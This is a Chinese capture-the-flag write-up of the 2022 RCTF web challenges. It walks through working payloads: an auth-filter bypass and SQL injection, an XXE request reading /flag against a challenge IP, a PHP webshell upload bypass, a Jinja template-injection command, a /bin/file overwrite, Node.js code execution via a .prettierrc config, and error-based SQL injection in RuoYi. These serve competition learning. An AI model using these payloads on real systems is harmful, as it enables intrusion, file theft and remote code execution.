2022 RCTF WP
Drunkbaby Lv6

队内大师傅们太强了,被带飞了

ezbypass

先看 Filter

普通的访问会显示 auth fail,这里就需要 bypass,用来 bypass 的方法很简单,使用 /index;.ico 即可 bypass,接着我们去看接口

/index 接口,四个传参,首先 password 这里做了一个限制,是去数据库里面找的,并且要求 length<=50,看了一下题目给的 .sql 文件,里面是没有给出 password 的,所以去找这个 password 到底是什么。一路跟,发现在 UserProvider 类中存在 selectByPassword() 方法,进行了 password 的查找。

一开始没有意识到这是支持 OGNL 表达式的,大意了,一直在思考 password 如何能够在单引号被过滤的情况下 bypass,基础太差了。

所以此处的 bypass 用此 payload

1
${"\u0027"}) or 1=1 #

接着 type 需要的是字符串,yourclasses 分为四部分,用逗号隔开,这里实例化了两个对象,并且前一个对象成为了后一个对象的参数。常规方法肯定是通过构造类似如下代码来 xxe:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder();
InputSource inputSource = null;
Object wrappoc = null;
inputSource = new InputSource(new ByteArrayInputStream(bytes));
Document doc = builder.parse(inputSource);
NodeList nodes = doc.getChildNodes();
String res = "";

for (int i = 0; i < nodes.getLength(); ++i) {
if (nodes.item(i).getNodeType() == 1) {
res = res + nodes.item(i).getTextContent();
System.out.println(nodes.item(i).getTextContent());
}
}

准备 XML 文件

1
2
3
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///flag"> ]>
<x>&f;</x>

然后使用 cat  a.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml 将其编码转换成 utf-16be 即可,最后再和前面的参数合并得到以下Payload

1
2
3
4
5
6
7
GET /index;a=.ico?password=%24%7b%22%5cu0027%22%7d)%20or%201%3d1%20%23&type=fuck&yourclasses=%6a%61%76%61%2e%69%6f%2e%42%79%74%65%41%72%72%61%79%49%6e%70%75%74%53%74%72%65%61%6d%2c%5b%42%2c%6f%72%67%2e%78%6d%6c%2e%73%61%78%2e%49%6e%70%75%74%53%6f%75%72%63%65%2c%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d&poc=%41%44%77%41%50%77%42%34%41%47%30%41%62%41%41%67%41%48%59%41%5a%51%42%79%41%48%4d%41%61%51%42%76%41%47%34%41%49%41%41%39%41%43%41%41%49%67%41%78%41%43%34%41%4d%41%41%69%41%44%38%41%50%67%41%4b%41%44%77%41%49%51%42%45%41%45%38%41%51%77%42%55%41%46%6b%41%55%41%42%46%41%43%41%41%51%51%42%4f%41%46%6b%41%49%41%42%62%41%43%41%41%50%41%41%68%41%45%55%41%54%67%42%55%41%45%6b%41%56%41%42%5a%41%43%41%41%5a%67%41%67%41%46%4d%41%57%51%42%54%41%46%51%41%52%51%42%4e%41%43%41%41%49%67%42%6d%41%47%6b%41%62%41%42%6c%41%44%6f%41%4c%77%41%76%41%43%38%41%5a%67%42%73%41%47%45%41%5a%77%41%69%41%44%34%41%49%41%42%64%41%44%34%41%43%67%41%38%41%48%67%41%50%67%41%6d%41%47%59%41%4f%77%41%38%41%43%38%41%65%41%41%2b%41%41%6f%3d HTTP/1.1
Host: 94.74.86.95:8899
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.124 Safari/537.36 Edg/102.0.1245.44
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

easy_upload

看文件上传的接口

有黑名单过滤,但是后缀过滤并不严格,可以使用 pHP 大小写的绕过。还存在内容过滤,内容中不可以存在如下黑名单

1
$this->content_blacklist = ["<?", "php", "handler"];

这里使用脏数据进行绕过

上传路径在 /upload/对应文件名下

成功连🐎,拿 flag

filechecker_mini

  • 简单的 ssti,ssti 点如下

要让这里的 result 可控,才能 ssti,所以在路由里面,要走这一段

利用 file -b 的特性,先说一说 file -b 这一个命令,本身这个命令会打印出相关信息,比如:

如果 file -b 的目标文件中有 #!,便可以将后续的内容直接打印出来,比如文件 exp1.py 当中的内容是 #! whoami,那么会拼接内容

由此,这个题目里面我们可以直接构造如下 payload

1
#! {{lipsum.__globals__.os.popen("cat /flag").read()}}

filechecker_plus

压缩包密码是 checker_mini 的 flag,看源码

  • 不存在 SSTI 了

利用python的 os.path.join 的特性

这道题目可以覆盖 /bin/file,原理是 /bin 下面的文件都能够执行 sh 脚本,构造 payload

1
2
#! /bin/sh
cat /flag

且要把 \r 去掉,因为 sh 脚本不可以有 \r

filechecker_pro_max

https://pankas.top/2022/12/12/rctf-web/#filechecker-pro-max

cy 一个链接,之后复现

PrettierOnline

先看接口,/build 接口处

将一个 .prettierrc 文件写入了进去。官方文档 https://prettier.io/docs/en/configuration.html ,是支持四种格式的。

接着看 index.js 处理 .prettierrc,api 涉及到是 resolveConfig,对应官方文档 https://www.prettier.cn/docs/api.html

官方文档这里说,yaml 格式下的 xxx: console.log('aa') 是合理的语法,那么我们可以注入代码

1
2
3
4
5
6
7
poc: global.process.mainModule.constructor._load("child_process").execSync("sleep 10");
trailingComma: "es5"
tabWidth: 4
semi: false
singleQuote: true
plugins:
- ".prettierrc"

发送,发现延时了10秒左右,说明是可以注入代码的,但目标靶机不出网,没法外带flag。

绕过沙箱,最后找到了这篇 https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/)使用如下 Payload 可以成功绕过 proto 的 waf。

1
global.process.mainModule.constructor._load("child_process").execSync("/readflag").toString()};

最终 PoC

1
2
3
4
5
6
7
var a=`: #`;module.exports = ()=>{return global.process.mainModule.constructor._load("child_process").execSync("/readflag").toString()};/*
trailingComma: es5
tabWidth: 4
semi: false
singleQuote: true
parser: .prettierrc
# */

ezruoyi

漏洞在 ruoyi-generator-4.7.5.jar 里面

而 Ruoyi 里面自带有 sql 的 Filter

因为过滤的是select空格 所以用 select%09 bypass

最后

1
sql=create table ff12333331 select%09extractvalue(1,concat(0x7e,substr((select%09flag from flag),16,32),0x7e,database())) as fm from flag;

小结

感觉赛题质量挺不错的,原理 > flag

 评论